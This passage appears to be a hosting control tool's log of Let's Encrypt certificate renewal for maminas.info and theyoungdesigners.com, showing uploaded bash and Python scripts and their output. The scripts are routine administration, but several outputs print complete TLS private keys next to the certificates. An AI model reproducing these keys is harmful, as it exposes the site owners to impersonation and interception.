OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-17 14:03:38:
PUT: /tmp/pkp154985
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-17 14:03:38:
chmod 755 /tmp/pkp154985; /tmp/pkp154985; rm /tmp/pkp154985
2025-09-17 14:03:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt 5402
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12
-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-22 06:00:02: Establishing a connection
2025-09-22 06:00:02: Establishing a connection
2025-09-22 06:00:02:
PUT: /tmp/pkp101176
#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-22 06:00:03:
chmod 755 /tmp/pkp101176; /tmp/pkp101176; rm /tmp/pkp101176
2025-09-22 06:00:03:
1
2025-09-22 06:00:04: Establishing a connection
2025-09-22 06:00:05:
PUT: /tmp/pkp516556
#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY
cat > L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk
2025-09-22 06:00:05:
chmod 755 /tmp/pkp516556; /tmp/pkp516556; rm /tmp/pkp516556
2025-09-22 06:00:05:
2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:16:
PUT: /tmp/pkp123461
#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY
rm L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk
2025-09-22 06:00:16:
chmod 755 /tmp/pkp123461; /tmp/pkp123461; rm /tmp/pkp123461
2025-09-22 06:00:16:
2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:16:
PUT: /tmp/pkp108479
#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt
cat > $temp_file <<'endmsg'
ca:71:36:dd:8c:4f:81:a9:8a:64:16:8f:65:4c:73:04
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBbJxRS1FLFwkD6LFi94S0vHIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIyMDUwMTQ1WhcNMjUxMjIxMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCZ
SRrNsXjpvPe77fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j
8ZHNPzwn7f008Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQ
Z4YAKJx4kvzHkr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaAR
Gr4e0JO6NpL/o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsL
vjit10fh6RDzMM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5
IZSvMS5MVcO/AY+73HovAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFJj3Ak/FqVK01ioAU1CR8wVvVi3uMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZcAIu
xwAABAMARzBFAiEApxBln22R4MiXU4Roeapl2dZqWBa1845kemEq7c3L8hwCIFkY
lLFxv3++MbHtXOio6izc6f+axJgfV/KgjnII7/VxAHYADeHyMCvTDcFAYhIJ6lUu
/Ed0fLHX6TDvDkIetH5OqjQAAAGZcAIu6AAABAMARzBFAiEAnTM0Mwrdowj6k1mC
/JSOiqIkmB2RqpwbHeBBQ519U34CIE22mR+GhbIALhA217c77Xsv0zfp1Z/u/P+t
iNZhtvIlMA0GCSqGSIb3DQEBCwUAA4IBAQAMK0l+ENF14RBdZ1O02FDFA8bqOrA5
haSTn53NDUcEoFZcLjRpn6gKBIjcs5g/H/xwDbiFAtuU9wHX2ycAyNt/JmX0FUWj
Cfnni5VkvbONutA28K+ZVrcoFLZidMZj+lrr98TPvOwg1LSOAgpF/b3qXYwkBN+4
VIrCd1oWYcr3A7lgsOcVUVwA5rlU+UeATUCCv+vQSSn+b2e/Zev0aC9DzqPJhbDF
cPoR2puT8ygmWW3GRZ+x0pCe93s51uPvq66LYOoifNZi6GJx+CJXvwDG4bYeqhN6
yhChA2vV2V+R89WHiyOPQUKGBZQ2JgZoZBwG8ue6G55+I2xPgbwpdmgL
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCZSRrNsXjpvPe7
7fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j8ZHNPzwn7f00
8Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQZ4YAKJx4kvzH
kr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaARGr4e0JO6NpL/
o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsLvjit10fh6RDz
MM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5IZSvMS5MVcO/
AY+73HovAgMBAAECggEBAIoBY3xlmDL4yyILrbg0/bL70lbQmgwGfBOUQq1qk6Qt
OQkUJ8lctQZjIjtQXHgBuZTu3RIpKIPapOmRSiPcF6horVQr2cxlGv0IqrilE7Bb
ILdXFQ79c/31+zM/xbod9Dm+uspRxe5Yh/U2jQbf1U5LtriU/WJ/dZYIbvNyZ2M9
DPgkF9trCs+njOjCOzw6U+q7q7hO+1Jymuh0afkSMBuUIUrjgB4nkeb1/9D4zOoP
vAM6id1bxmHmS2Dc3+HJ6dqf0LUlgUwH6UsNcPdK7Q1cil8/hpsCuXeYe1znPh9X
JUOcATAz9qfa54z1FnrSFwDPM1BLCwkzyEJx88J9HoECgYEAx6tMmcPeeqLpGJbj
ijuAUBT1vrHNP/CF2OPMvME+mGkZLKZRchB28iglVK6n24jVsI4RRW5VXt21tU8/
lZ5nHspl46nZwkPSIAY40GitPgFpHKSdCBd63mpdYxyuiDp5lVTEilhUWmEgEOKO
kf4Vzb4W4wD0mhs3dSOvwF8Br/8CgYEAxIfYc3CfO1VOfRz2dlPV/2KFosBkEHZp
8ssf7wUMX5P7Z+vEOQc8Gu161Hl+sZ6FJ74hq9FLSiAg4SAfRW4V6uwKB8PxEWdH
LnzLBuVAOAa4kt9Ug5xzJzkHfvLy4lG5F/+f2CEodfegevCiAW8a1VyXi3NFtdvp
YtUrtO30NdECgYBWhzyl8kUK3minmFQ5RnnfuoWYw1LQX7qReH70WcZ3pCwdtmHb
TZlObelnnlzt/YmlfpurfBoRB4HEdfh3LXNA27N2CthsoJmB+VBLuOFC2rejiw7m
P86mbm/UEMzuCnFALsERtx+vHyIXTyc7y2HFjJg8feCCnELXR8TVWBbSHwKBgQCA
Tvx26clbsGcs8dLLEBL/yC/dQORThyvGsuznXRFl+TRC9b9HSDzqi68Mt0GK7yaZ
+tz60wrnmzA8Kn+gEa5HkNE/nqJtrVLgu+LFXrjdmy233gzMXEEmE2qcbDs8nQRN
8btHHObQldn1SdNLQmFveSMLjTeu8qNdvjTpzA0LcQKBgQCLy/TinQY1/elJFWWA
UzibwiIODhdtVa8zHUH8jznKrbgBujnmx8DHtWDegej30NNvKMQ5jbY+QWbI8W99
4fgMNG7k0PoTdLJuhObSd+H5CnsM/CeCy07KgYwiBrmQgchg7S73ltRquhHTaE26
jAIQyR7IUc6uenK1jJg0Rg5m7A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-22 06:00:16:
chmod 755 /tmp/pkp108479; /tmp/pkp108479; rm /tmp/pkp108479
2025-09-22 06:00:16:
dir=/etc/ssl/certs
2025-09-22 06:00:16:
PUT: /tmp/pkp643432
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-22 06:00:16:
chmod 755 /tmp/pkp643432; /tmp/pkp643432; rm /tmp/pkp643432
2025-09-22 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
